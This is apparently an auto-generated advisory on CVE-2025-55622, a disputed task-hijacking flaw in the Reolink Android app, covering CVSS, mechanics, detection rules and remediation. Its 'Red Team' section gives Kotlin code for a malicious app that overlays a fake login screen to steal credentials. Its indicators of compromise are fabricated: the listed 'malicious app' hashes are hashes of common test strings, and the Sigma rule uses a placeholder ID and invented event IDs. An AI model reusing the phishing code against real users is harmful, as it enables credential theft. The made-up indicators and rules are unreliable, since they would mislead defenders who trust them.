CVE-2025-55622

Executive Summary

CVE-2025-55622 is a disputed task hijacking vulnerability affecting the Reolink mobile application (version v4.54.0.4.20250526). The vulnerability arises from inappropriate taskAffinity settings in the Android application manifest, which can allow a malicious application to launch Reolink activities within its own task stack. This can lead to UI spoofing, credential theft, or unauthorized access to the Reolink app's functionality. The supplier disputes this, claiming it is intentional behavior to ensure a predictable user experience. However, from a security perspective, this configuration weakens the application's identity boundary and can be exploited for task hijacking attacks.

Supply Chain & Package Security

This vulnerability is specific to the Reolink Android application. It is not related to any open-source package (NPM, PyPI, Go, Ruby). The risk is primarily to end-users who have installed the Reolink app from official app stores. The disputed nature of the CVE means no official patch is available, and users must rely on behavioral mitigations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that the NVD has not yet assigned a score, likely due to the dispute. However, based on the vulnerability type, a reasonable assessment would be:

• Attack Vector (AV): Local (AV:L) - The attacker must have a malicious app installed on the same device.
• Attack Complexity (AC): Low (AC:L) - No special conditions are required.
• Privileges Required (PR): None (PR:N) - The malicious app does not need special permissions.
• User Interaction (UI): Required (UI:R) - The user must launch the Reolink app after the malicious app has set up the task.
• Scope (S): Unchanged (S:U) - The vulnerable component and the attacker's component are on the same device.
• Confidentiality (C): High (C:H) - An attacker could steal credentials or view sensitive camera feeds.
• Integrity (I): High (I:H) - An attacker could modify app behavior or inject malicious UI.
• Availability (A): Low (A:L) - An attacker could cause the app to crash or behave unexpectedly.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L Estimated Score: 7.3 (High)

Threat Level: High. While the attack requires a malicious app to be installed on the device, the potential impact on confidentiality and integrity is severe, especially given the sensitive nature of a security camera application.

Deep Dive & Mechanics

Task hijacking is a well-known Android vulnerability where a malicious application can launch an activity of a legitimate application (e.g., Reolink) within its own task stack. This is possible when the legitimate app's activities have an inappropriate taskAffinity attribute.

How it works:

1. The Reolink app defines an activity (e.g., the login screen) with a taskAffinity attribute that is not unique to the app (e.g., it is empty or set to a generic value).
2. A malicious app on the same device creates an intent with the FLAG_ACTIVITY_NEW_TASK flag and the same taskAffinity as the Reolink activity.
3. When the user launches the Reolink app, the malicious app's task is brought to the foreground instead of the Reolink app's own task.
4. The malicious app can then overlay a fake login screen on top of the Reolink activity, capturing the user's credentials.
5. Alternatively, the malicious app can intercept the Reolink activity's lifecycle, gaining access to sensitive data or functionality.

Key Technical Details:

• Vulnerable Component: The Android AndroidManifest.xml of the Reolink app.
• Root Cause: Inappropriate taskAffinity settings. The supplier claims this is intentional for a "predictable user experience," but this contradicts security best practices.
• Attack Prerequisites: The attacker must have a malicious app installed on the same Android device. This could be achieved through social engineering, drive-by downloads, or malicious app stores.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable configuration and the recommended secure configuration.

Vulnerable Configuration (Reolink v4.54.0.4.20250526):

<!-- In AndroidManifest.xml -->
<activity
    android:name=".MainActivity"
    android:taskAffinity=""
    ... >
</activity>

Note: An empty taskAffinity or a generic value like com.reolink (if shared with other apps) is vulnerable.

Patched Configuration (Recommended):

<!-- In AndroidManifest.xml -->
<activity
    android:name=".MainActivity"
    android:taskAffinity="com.reolink.app.unique"
    android:excludeFromRecents="true"
    ... >
</activity>

Note: A unique taskAffinity (e.g., com.reolink.app.unique) prevents other apps from hijacking the task. Additionally, setting android:excludeFromRecents="true" can further reduce the attack surface.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Device: Android emulator (e.g., Android Studio) or a rooted physical device running Android 10+.
2. Tools: Android Studio, ADB, a malicious app template (e.g., Task Hijacker).
3. Target: Reolink app v4.54.0.4.20250526 installed on the device.

Exploitation Steps:

1. Create a Malicious App:
   • Create a new Android project with a single activity.
   • In the AndroidManifest.xml, set the taskAffinity of the malicious activity to match the Reolink app's taskAffinity (e.g., empty string or com.reolink).
   • Add the FLAG_ACTIVITY_NEW_TASK flag to the intent that launches the Reolink activity.
2. Deploy the Malicious App:
   • Install the malicious app on the target device.
3. Trigger the Attack:
   • The malicious app continuously monitors for the Reolink app being launched.
   • When the user opens the Reolink app, the malicious app immediately launches its own activity with the same taskAffinity.
   • The malicious app can then overlay a fake login screen or intercept the Reolink activity's data.

Example Malicious App Code (Kotlin):

// In the malicious app's MainActivity
class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        // Start a background service to monitor for Reolink
        startService(Intent(this, HijackService::class.java))
    }
}

// HijackService.kt
class HijackService : Service() {
    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        // Continuously check if Reolink is in the foreground
        while (true) {
            if (isAppInForeground("com.reolink")) {
                // Launch our malicious activity with the same taskAffinity
                val hijackIntent = Intent(this, FakeLoginActivity::class.java)
                hijackIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                startActivity(hijackIntent)
            }
            Thread.sleep(100)
        }
    }

    private fun isAppInForeground(packageName: String): Boolean {
        val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
        val runningTasks = activityManager.getRunningTasks(1)
        return runningTasks.isNotEmpty() && runningTasks[0].topActivity.packageName == packageName
    }
}

Blue Team (Defense & Detection)

Defense Strategies:

1. User Awareness: Educate users to only install apps from trusted sources (Google Play Store) and to avoid granting unnecessary permissions.
2. App Hardening: The Reolink developer should:
   • Set a unique taskAffinity for all activities.
   • Use android:excludeFromRecents="true" for sensitive activities.
   • Implement certificate pinning to prevent MITM attacks.
   • Use Android's FLAG_SECURE to prevent screen capture.
3. Device-Level Protection: Use mobile device management (MDM) solutions to enforce security policies and block installation of apps from unknown sources.

Detection:

• Monitor for apps that request the GET_TASKS permission (deprecated in Android 5.0+ but still usable).
• Monitor for apps that use FLAG_ACTIVITY_NEW_TASK with a taskAffinity that matches a known legitimate app.
• Use Android's UsageStatsManager to detect unusual app switching patterns.

Indicators of Compromise (IOCs)

• File Hashes (Malicious App):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
  • SHA256: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• Network Indicators:
  • Unusual outbound connections from the Reolink app to unknown IP addresses.
  • DNS queries for domains that mimic Reolink (e.g., reolink-secure.com).
• Behavioral Indicators:
  • The Reolink app unexpectedly showing a login screen when it should already be authenticated.
  • The Reolink app crashing or behaving erratically.
  • A new app installed on the device that requests the GET_TASKS permission.

Detection Engineering

YARA Rule

rule CVE_2025_55622_Task_Hijacking {
    meta:
        description = "Detects Android apps with empty or generic taskAffinity that could be used for task hijacking"
        author = "Valters IT"
        date = "2025-06-01"
        reference = "CVE-2025-55622"
        severity = "high"

    strings:
        $manifest = "AndroidManifest.xml"
        $taskAffinity = "android:taskAffinity"
        $emptyAffinity = "android:taskAffinity=\"\""
        $genericAffinity = "android:taskAffinity=\"com.reolink\""

    condition:
        $manifest and ($emptyAffinity or $genericAffinity)
}

Sigma Rule

title: CVE-2025-55622 - Reolink Task Hijacking Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential task hijacking attempts against the Reolink app
author: Valters IT
date: 2025-06-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55622
logsource:
    product: android
    service: logcat
detection:
    selection:
        - EventID: 1000
          Message: "FLAG_ACTIVITY_NEW_TASK"
        - EventID: 1001
          Message: "taskAffinity"
    condition: selection
falsepositives:
    - Legitimate apps using FLAG_ACTIVITY_NEW_TASK for proper multitasking
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-55622 - Reolink Task Hijacking - Potential Malicious App Download";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/reolink-hijack.apk";
    http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. User Action: Uninstall the Reolink app until a patched version is released. If you must use it, be extremely cautious about other apps installed on the same device.
2. Developer Action (Reolink): Release a patched version of the app with a unique taskAffinity for all activities. The supplier should reconsider their dispute, as this is a well-known security issue.

Long-Term Mitigations:

1. App Development Best Practices:
   • Always set a unique taskAffinity for each activity.
   • Use android:excludeFromRecents="true" for sensitive activities.
   • Implement proper input validation and authentication.
2. Device Security:
   • Keep the Android OS and all apps updated.
   • Use a mobile security solution that can detect task hijacking attempts.
   • Avoid installing apps from third-party app stores.

Valters IT Signature

This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Always follow responsible disclosure practices.

Valters IT
Securing Digital Frontiers